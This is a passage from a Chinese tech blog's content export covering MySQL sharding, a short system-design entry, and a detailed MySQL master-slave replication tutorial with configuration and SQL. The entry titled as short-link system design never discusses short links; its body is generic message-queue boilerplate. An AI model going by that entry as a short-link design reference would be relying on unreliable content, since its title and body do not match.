等工具同步历史数据</li><li><strong>数据校验</strong>：对比旧库和新分片数据</li><li><strong>切换读流量</strong>：先切换部分读流量到新分片</li><li><strong>切换写流量</strong>：确认无误后切写流量</li><li><strong>下线旧库</strong>：观察一段时间，下线旧库</li></ol><h2 id="六、分库分表示例设计"><a href="#六、分库分表示例设计" class="headerlink" title="六、分库分表示例设计"></a>六、分库分表示例设计</h2><p>#</p><h2 id="6-1-电商系统分片设计"><a href="#6-1-电商系统分片设计" class="headerlink" title="6.1 电商系统分片设计"></a>6.1 电商系统分片设计</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">用户模块（分库分表）：</span><br><span class="line">  DB: user_0, user_1</span><br><span class="line">  Table: user_0 ~ user_15</span><br><span class="line">  分片键：user_id</span><br><span class="line"></span><br><span class="line">订单模块（分库分表）：</span><br><span class="line">  DB: order_0, order_1</span><br><span class="line">  Table: order_0 ~ order_15</span><br><span class="line">  分片键：user_id（按买家）或 order_id</span><br><span class="line"></span><br><span class="line">商品模块（全局表）：</span><br><span class="line">  每个库都有完整的商品数据</span><br><span class="line">  Table: product</span><br><span class="line"></span><br><span class="line">库存模块（分库）：</span><br><span class="line">  DB: inventory_0, inventory_1</span><br><span class="line">  分片键：product_id</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-订单表分片策略"><a href="#6-2-订单表分片策略" class="headerlink" title="6.2 订单表分片策略"></a>6.2 订单表分片策略</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 订单表：按user_id分片（方便查用户订单）</span></span><br><span class="line"><span class="comment"># 全局索引表：按order_id → user_id 映射（方便查单号）</span></span><br><span class="line"></span><br><span class="line"><span class="attr">order:</span></span><br><span class="line">  <span class="attr">actualDataNodes:</span> <span class="string">ds_$&#123;0..1&#125;.order_$&#123;0..15&#125;</span></span><br><span class="line">  <span class="attr">tableStrategy:</span></span><br><span class="line">    <span class="attr">standard:</span></span><br><span class="line">      <span class="attr">shardingColumn:</span> <span class="string">user_id</span></span><br><span class="line">      <span class="attr">shardingAlgorithmName:</span> <span class="string">order_hash</span></span><br><span class="line"></span><br><span class="line"><span class="attr">order_index:</span></span><br><span class="line">  <span class="attr">actualDataNodes:</span> <span class="string">ds_$&#123;0..1&#125;.order_index_$&#123;0..15&#125;</span></span><br><span class="line">  <span class="attr">tableStrategy:</span></span><br><span class="line">    <span class="attr">standard:</span></span><br><span class="line">      <span class="attr">shardingColumn:</span> <span class="string">order_id</span></span><br><span class="line">      <span class="attr">shardingAlgorithmName:</span> <span class="string">order_index_hash</span></span><br></pre></td></tr></table></figure><h2 id="七、避免过度拆分"><a href="#七、避免过度拆分" class="headerlink" title="七、避免过度拆分"></a>七、避免过度拆分</h2><p>#</p><h2 id="7-1-拆分前的优化"><a href="#7-1-拆分前的优化" class="headerlink" title="7.1 拆分前的优化"></a>7.1 拆分前的优化</h2><p>在拆分前，先尝试：</p><ol><li><strong>索引优化</strong>：确保查询都有合适的索引</li><li><strong>SQL优化</strong>：避免全表扫描、深分页</li><li><strong>读写分离</strong>：主从复制分担读压力</li><li><strong>缓存</strong>：Redis缓存热点数据</li><li><strong>归档</strong>：历史数据归档到历史库</li></ol><p>#</p><h2 id="7-2-拆分的时机"><a href="#7-2-拆分的时机" class="headerlink" title="7.2 拆分的时机"></a>7.2 拆分的时机</h2><p>满足以下条件再考虑拆分：</p><ul><li>单表数据量 &gt; 5000万</li><li>单库QPS &gt; 5000</li><li>读写分离后仍无法满足</li><li>优化空间已经很小</li></ul><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>拆分方式</th><th>解决什么问题</th><th>复杂度</th></tr></thead><tbody><tr><td>垂直分库</td><td>业务耦合、连接数</td><td>中</td></tr><tr><td>垂直分表</td><td>字段过多、冷热数据</td><td>低</td></tr><tr><td>水平分表</td><td>单表数据量</td><td>中</td></tr><tr><td>水平分库</td><td>单库性能瓶颈</td><td>高</td></tr></tbody></table><table><thead><tr><th>问题</th><th>解决方案</th></tr></thead><tbody><tr><td>分布式ID</td><td>雪花算法、号段模式</td></tr><tr><td>跨分片查询</td><td>限制分页、全局索引</td></tr><tr><td>跨分片JOIN</td><td>绑定表、字段冗余</td></tr><tr><td>事务一致性</td><td>Seata、消息队列</td></tr><tr><td>数据迁移</td><td>双写+同步+校验</td></tr></tbody></table><p>分库分表是”最后的手段”。在实施前，充分评估业务需求和拆分成本，选择合适的拆分策略和中间件，做好平滑迁移方案。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="短链接系统如何设计"><a href="#短链接系统如何设计" class="headerlink" title="短链接系统如何设计"></a>短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL主从复制原理与配置</title>
      <link href="//mysql-master-slave-replication/"/>
      <url>//mysql-master-slave-replication/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL主从复制原理与配置"><a href="#MySQL主从复制原理与配置" class="headerlink" title="MySQL主从复制原理与配置"></a>MySQL主从复制原理与配置</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、复制架构概述"><a href="#一、复制架构概述" class="headerlink" title="一、复制架构概述"></a>一、复制架构概述</h2><p>#</p><h2 id="1-1-复制的作用"><a href="#1-1-复制的作用" class="headerlink" title="1.1 复制的作用"></a>1.1 复制的作用</h2><ul><li><strong>读写分离</strong>：主库写，从库读，分摊压力</li><li><strong>数据备份</strong>：从库作为实时备份</li><li><strong>高可用</strong>：主库故障时切换到从库</li><li><strong>统计分析</strong>：报表查询在从库执行</li></ul><p>#</p><h2 id="1-2-复制模式演进"><a href="#1-2-复制模式演进" class="headerlink" title="1.2 复制模式演进"></a>1.2 复制模式演进</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">MySQL 3.23: 异步复制（Asynchronous Replication）</span><br><span class="line">MySQL 5.5: 半同步复制（Semi-Synchronous Replication）</span><br><span class="line">MySQL 5.6: GTID复制（Global Transaction Identifier）</span><br><span class="line">MySQL 5.7: 组复制（Group Replication）</span><br><span class="line">MySQL 8.0: 增强GTID、克隆插件</span><br></pre></td></tr></table></figure><h2 id="二、复制原理"><a href="#二、复制原理" class="headerlink" title="二、复制原理"></a>二、复制原理</h2><p>#</p><h2 id="2-1-核心流程"><a href="#2-1-核心流程" class="headerlink" title="2.1 核心流程"></a>2.1 核心流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master                      Slave</span><br><span class="line">  │                           │</span><br><span class="line">  │  1. 写操作               │</span><br><span class="line">  │ ──────────────────────&gt;   │</span><br><span class="line">  │                           │</span><br><span class="line">  │  2. 写binlog             │</span><br><span class="line">  │  ┌─────────────┐         │</span><br><span class="line">  │  │  binlog     │         │</span><br><span class="line">  │  └─────────────┘         │</span><br><span class="line">  │                           │</span><br><span class="line">  │  3. Dump线程发送binlog   │</span><br><span class="line">  │ ──────────────────────&gt;   │</span><br><span class="line">  │                           │ 4. I/O线程接收写入relay log</span><br><span class="line">  │                           │</span><br><span class="line">  │                           │ 5. SQL线程重放relay log</span><br><span class="line">  │                           │</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-复制线程"><a href="#2-2-复制线程" class="headerlink" title="2.2 复制线程"></a>2.2 复制线程</h2><p><strong>主库线程</strong>：</p><ul><li><strong>Binlog Dump Thread</strong>：发送binlog给从库</li></ul><p><strong>从库线程</strong>：</p><ul><li><strong>I/O Thread</strong>：连接主库，接收binlog，写入relay log</li><li><strong>SQL Thread</strong>：读取relay log，重放SQL</li></ul><p>#</p><h2 id="2-3-binlog格式"><a href="#2-3-binlog格式" class="headerlink" title="2.3 binlog格式"></a>2.3 binlog格式</h2><table><thead><tr><th>格式</th><th>特点</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>STATEMENT</td><td>记录SQL语句</td><td>日志小</td><td>某些语句不一致（UUID、NOW()等）</td></tr><tr><td>ROW</td><td>记录行变更</td><td>精确、安全</td><td>日志大</td></tr><tr><td>MIXED</td><td>混合模式</td><td>平衡</td><td>复杂</td></tr></tbody></table><p><strong>推荐</strong>：MySQL 5.7+ 使用ROW格式</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">binlog_format</span> = ROW</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-复制方式"><a href="#2-4-复制方式" class="headerlink" title="2.4 复制方式"></a>2.4 复制方式</h2><p><strong>异步复制（Asynchronous）</strong>：</p><ul><li>主库写完binlog即返回，不等待从库</li><li>性能最好，但存在数据延迟和丢失风险</li></ul><p><strong>半同步复制（Semi-Synchronous）</strong>：</p><ul><li>主库等待至少一个从库确认收到binlog</li><li>平衡性能和数据安全</li></ul><p><strong>组复制（Group Replication）</strong>：</p><ul><li>基于Paxos协议</li><li>多数节点确认才提交</li><li>自动故障切换</li></ul><h2 id="三、异步复制配置"><a href="#三、异步复制配置" class="headerlink" title="三、异步复制配置"></a>三、异步复制配置</h2><p>#</p><h2 id="3-1-主库配置"><a href="#3-1-主库配置" class="headerlink" title="3.1 主库配置"></a>3.1 主库配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># 服务器唯一ID</span></span><br><span class="line"><span class="attr">server-id</span> = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启binlog</span></span><br><span class="line"><span class="attr">log-bin</span> = mysql-bin</span><br><span class="line"></span><br><span class="line"><span class="comment"># binlog格式</span></span><br><span class="line"><span class="attr">binlog_format</span> = ROW</span><br><span class="line"></span><br><span class="line"><span class="comment"># 保留binlog天数</span></span><br><span class="line"><span class="attr">expire_logs_days</span> = <span class="number">7</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 同步binlog到磁盘（1=每次事务，0=依赖OS，2=每秒）</span></span><br><span class="line"><span class="attr">sync_binlog</span> = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># InnoDB redo log同步（1=每次事务）</span></span><br><span class="line"><span class="attr">innodb_flush_log_at_trx_commit</span> = <span class="number">1</span></span><br></pre></td></tr></table></figure><p>创建复制账号：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">USER</span> <span class="string">&#x27;repl&#x27;</span>@<span class="string">&#x27;%&#x27;</span> IDENTIFIED <span class="keyword">BY</span> <span class="string">&#x27;password&#x27;</span>;</span><br><span class="line"><span class="keyword">GRANT</span> REPLICATION SLAVE <span class="keyword">ON</span> <span class="operator">*</span>.<span class="operator">*</span> <span class="keyword">TO</span> <span class="string">&#x27;repl&#x27;</span>@<span class="string">&#x27;%&#x27;</span>;</span><br><span class="line">FLUSH PRIVILEGES;</span><br></pre></td></tr></table></figure><p>查看主库状态：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> MASTER STATUS;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+------------------+----------+--------------+------------------+</span><br><span class="line">| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |</span><br><span class="line">+------------------+----------+--------------+------------------+</span><br><span class="line">| mysql-bin.000001 |     154  |              |                  |</span><br><span class="line">+------------------+----------+--------------+------------------+</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-从库配置"><a href="#3-2-从库配置" class="headerlink" title="3.2 从库配置"></a>3.2 从库配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">server-id</span> = <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># relay log配置</span></span><br><span class="line"><span class="attr">relay-log</span> = mysql-relay-bin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只读（从库推荐开启）</span></span><br><span class="line"><span class="attr">read_only</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 不记录从库binlog（如果从库不再作为其他库的主库）</span></span><br><span class="line"><span class="attr">log-bin</span> = <span class="literal">OFF</span></span><br></pre></td></tr></table></figure><p>配置主库连接：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">CHANGE MASTER <span class="keyword">TO</span></span><br><span class="line">    MASTER_HOST <span class="operator">=</span> <span class="string">&#x27;master_host&#x27;</span>,</span><br><span class="line">    MASTER_PORT <span class="operator">=</span> <span class="number">3306</span>,</span><br><span class="line">    MASTER_USER <span class="operator">=</span> <span class="string">&#x27;repl&#x27;</span>,</span><br><span class="line">    MASTER_PASSWORD <span class="operator">=</span> <span class="string">&#x27;password&#x27;</span>,</span><br><span class="line">    MASTER_LOG_FILE <span class="operator">=</span> <span class="string">&#x27;mysql-bin.000001&#x27;</span>,</span><br><span class="line">    MASTER_LOG_POS <span class="operator">=</span> <span class="number">154</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">START</span> SLAVE;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-验证复制状态"><a href="#3-3-验证复制状态" class="headerlink" title="3.3 验证复制状态"></a>3.3 验证复制状态</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br></pre></td></tr></table></figure><p>关键字段：<br>| 字段 | 正常状态 |<br>|——|———|<br>| Slave_IO_Running | Yes |<br>| Slave_SQL_Running | Yes |<br>| Seconds_Behind_Master | 0或较小数字 |<br>| Last_IO_Error | 空 |<br>| Last_SQL_Error | 空 |</p><h2 id="四、GTID复制"><a href="#四、GTID复制" class="headerlink" title="四、GTID复制"></a>四、GTID复制</h2><p>#</p><h2 id="4-1-什么是GTID"><a href="#4-1-什么是GTID" class="headerlink" title="4.1 什么是GTID"></a>4.1 什么是GTID</h2><p>GTID（Global Transaction Identifier）是全局事务标识符：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GTID = source_id:transaction_id</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">3E11FA47-71CA-11E1-9E33-C80AA9429562:23</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-GTID优势"><a href="#4-2-GTID优势" class="headerlink" title="4.2 GTID优势"></a>4.2 GTID优势</h2><ul><li><strong>定位方便</strong>：直接知道事务在哪个库执行</li><li><strong>切换简单</strong>：不需要指定binlog文件名和位置</li><li><strong>一致性强</strong>：避免重复执行或遗漏事务</li></ul><p>#</p><h2 id="4-3-GTID配置"><a href="#4-3-GTID配置" class="headerlink" title="4.3 GTID配置"></a>4.3 GTID配置</h2><p>主库和从库都需配置：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">server-id</span> = <span class="number">1</span></span><br><span class="line"><span class="attr">log-bin</span> = mysql-bin</span><br><span class="line"><span class="attr">binlog_format</span> = ROW</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启GTID</span></span><br><span class="line"><span class="attr">gtid_mode</span> = <span class="literal">ON</span></span><br><span class="line"><span class="attr">enforce_gtid_consistency</span> = <span class="literal">ON</span></span><br></pre></td></tr></table></figure><p>从库配置：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">CHANGE MASTER <span class="keyword">TO</span></span><br><span class="line">    MASTER_HOST <span class="operator">=</span> <span class="string">&#x27;master_host&#x27;</span>,</span><br><span class="line">    MASTER_PORT <span class="operator">=</span> <span class="number">3306</span>,</span><br><span class="line">    MASTER_USER <span class="operator">=</span> <span class="string">&#x27;repl&#x27;</span>,</span><br><span class="line">    MASTER_PASSWORD <span class="operator">=</span> <span class="string">&#x27;password&#x27;</span>,</span><br><span class="line">    MASTER_AUTO_POSITION <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 使用GTID自动定位</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">START</span> SLAVE;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-GTID相关操作"><a href="#4-4-GTID相关操作" class="headerlink" title="4.4 GTID相关操作"></a>4.4 GTID相关操作</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看GTID状态</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;%gtid%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看已执行的GTID集合</span></span><br><span class="line"><span class="keyword">SHOW</span> MASTER STATUS;  <span class="comment">-- Executed_Gtid_Set</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看从库执行的GTID</span></span><br><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;  <span class="comment">-- Retrieved_Gtid_Set, Executed_Gtid_Set</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 跳过事务（谨慎使用）</span></span><br><span class="line"><span class="keyword">SET</span> GTID_NEXT<span class="operator">=</span><span class="string">&#x27;3E11FA47-71CA-11E1-9E33-C80AA9429562:23&#x27;</span>;</span><br><span class="line"><span class="keyword">BEGIN</span>; <span class="keyword">COMMIT</span>;</span><br><span class="line"><span class="keyword">SET</span> GTID_NEXT<span class="operator">=</span><span class="string">&#x27;AUTOMATIC&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="五、半同步复制"><a href="#五、半同步复制" class="headerlink" title="五、半同步复制"></a>五、半同步复制</h2><p>#</p><h2 id="5-1-安装插件"><a href="#5-1-安装插件" class="headerlink" title="5.1 安装插件"></a>5.1 安装插件</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 主库安装</span></span><br><span class="line">INSTALL PLUGIN rpl_semi_sync_master SONAME <span class="string">&#x27;semisync_master.so&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 从库安装</span></span><br><span class="line">INSTALL PLUGIN rpl_semi_sync_slave SONAME <span class="string">&#x27;semisync_slave.so&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-启用半同步"><a href="#5-2-启用半同步" class="headerlink" title="5.2 启用半同步"></a>5.2 启用半同步</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 主库</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> rpl_semi_sync_master_enabled <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> rpl_semi_sync_master_timeout <span class="operator">=</span> <span class="number">1000</span>;  <span class="comment">-- 超时1秒降级为异步</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 从库</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> rpl_semi_sync_slave_enabled <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">STOP SLAVE IO_THREAD;</span><br><span class="line"><span class="keyword">START</span> SLAVE IO_THREAD;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-验证半同步"><a href="#5-3-验证半同步" class="headerlink" title="5.3 验证半同步"></a>5.3 验证半同步</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 主库</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Rpl_semi_sync_master_status&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Rpl_semi_sync_master_clients&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 从库</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Rpl_semi_sync_slave_status&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="六、常见复制问题"><a href="#六、常见复制问题" class="headerlink" title="六、常见复制问题"></a>六、常见复制问题</h2><p>#</p><h2 id="6-1-主从延迟"><a href="#6-1-主从延迟" class="headerlink" title="6.1 主从延迟"></a>6.1 主从延迟</h2><p><strong>原因</strong>：</p><ul><li>从库性能差</li><li>大事务</li><li>锁等待</li><li>单线程SQL线程（5.6之前）</li></ul><p><strong>查看延迟</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- Seconds_Behind_Master</span></span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><ol><li><p>并行复制（MySQL 5.6+）</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">slave_parallel_type</span> = LOGICAL_CLOCK</span><br><span class="line"><span class="attr">slave_parallel_workers</span> = <span class="number">4</span></span><br></pre></td></tr></table></figure></li><li><p>分离大事务</p></li><li><p>升级从库硬件</p></li><li><p>使用缓存减少从库读压力</p></li></ol><p>#</p><h2 id="6-2-主从数据不一致"><a href="#6-2-主从数据不一致" class="headerlink" title="6.2 主从数据不一致"></a>6.2 主从数据不一致</h2><p><strong>检测</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用pt-table-checksum工具</span></span><br><span class="line">pt-table-checksum --host=master --user=root --password=xxx \</span><br><span class="line">    --databases=mydb --replicate=mydb.checksums</span><br></pre></td></tr></table></figure><p><strong>修复</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用pt-table-sync工具</span></span><br><span class="line">pt-table-sync --execute --replicate mydb.checksums \</span><br><span class="line">    h=master,u=root,p=xxx h=slave,u=root,p=xxx</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-复制中断"><a href="#6-3-复制中断" class="headerlink" title="6.3 复制中断"></a>6.3 复制中断</h2><p><strong>I/O线程中断</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- 查看Last_IO_Error</span></span><br></pre></td></tr></table></figure><p>常见原因和解决：</p><ul><li>网络中断 → 检查网络，重启slave</li><li>主库binlog被清理 → 重新同步数据</li><li>权限问题 → 检查复制账号权限</li></ul><p><strong>SQL线程中断</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- 查看Last_SQL_Error</span></span><br></pre></td></tr></table></figure><p>常见原因和解决：</p><ul><li>主从数据不一致 → 跳过错误事务或重新同步</li><li>表不存在 → 检查是否遗漏DDL</li></ul><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 跳过错误（谨慎！）</span></span><br><span class="line">STOP SLAVE;</span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> SQL_SLAVE_SKIP_COUNTER <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">START</span> SLAVE;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- GTID方式跳过</span></span><br><span class="line">STOP SLAVE;</span><br><span class="line"><span class="keyword">SET</span> GTID_NEXT<span class="operator">=</span><span class="string">&#x27;xxx:xxx&#x27;</span>;</span><br><span class="line"><span class="keyword">BEGIN</span>; <span class="keyword">COMMIT</span>;</span><br><span class="line"><span class="keyword">SET</span> GTID_NEXT<span class="operator">=</span><span class="string">&#x27;AUTOMATIC&#x27;</span>;</span><br><span class="line"><span class="keyword">START</span> SLAVE;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-4-复制过滤"><a href="#6-4-复制过滤" class="headerlink" title="6.4 复制过滤"></a>6.4 复制过滤</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 主库（不推荐，会导致binlog不完整）</span></span><br><span class="line"><span class="attr">binlog-do-db</span> = db1</span><br><span class="line"><span class="attr">binlog-ignore-db</span> = test</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从库</span></span><br><span class="line"><span class="attr">replicate-do-db</span> = db1</span><br><span class="line"><span class="attr">replicate-ignore-db</span> = test</span><br><span class="line"><span class="attr">replicate-do-table</span> = db1.table1</span><br><span class="line"><span class="attr">replicate-wild-do-table</span> = db1.%</span><br></pre></td></tr></table></figure><h2 id="七、读写分离实现"><a href="#七、读写分离实现" class="headerlink" title="七、读写分离实现"></a>七、读写分离实现</h2><p>#</p><h2 id="7-1-应用层实现"><a href="#7-1-应用层实现" class="headerlink" title="7.1 应用层实现"></a>7.1 应用层实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">routingDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">DynamicRoutingDataSource</span> <span class="variable">routingDataSource</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DynamicRoutingDataSource</span>();</span><br><span class="line">        </span><br><span class="line">        Map&lt;Object, Object&gt; targetDataSources = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        targetDataSources.put(<span class="string">&quot;master&quot;</span>, masterDataSource());</span><br><span class="line">        targetDataSources.put(<span class="string">&quot;slave&quot;</span>, slaveDataSource());</span><br><span class="line">        </span><br><span class="line">        routingDataSource.setTargetDataSources(targetDataSources);</span><br><span class="line">        routingDataSource.setDefaultTargetDataSource(masterDataSource());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> routingDataSource;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 注解切换数据源</span></span><br><span class="line"><span class="meta">@Target(&#123;ElementType.METHOD, ElementType.TYPE&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> DataSource &#123;</span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;master&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@DataSource(&quot;slave&quot;)</span></span><br><span class="line"><span class="keyword">public</span> List&lt;User&gt; <span class="title function_">getUsers</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userMapper.selectAll();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-中间件方案"><a href="#7-2-中间件方案" class="headerlink" title="7.2 中间件方案"></a>7.2 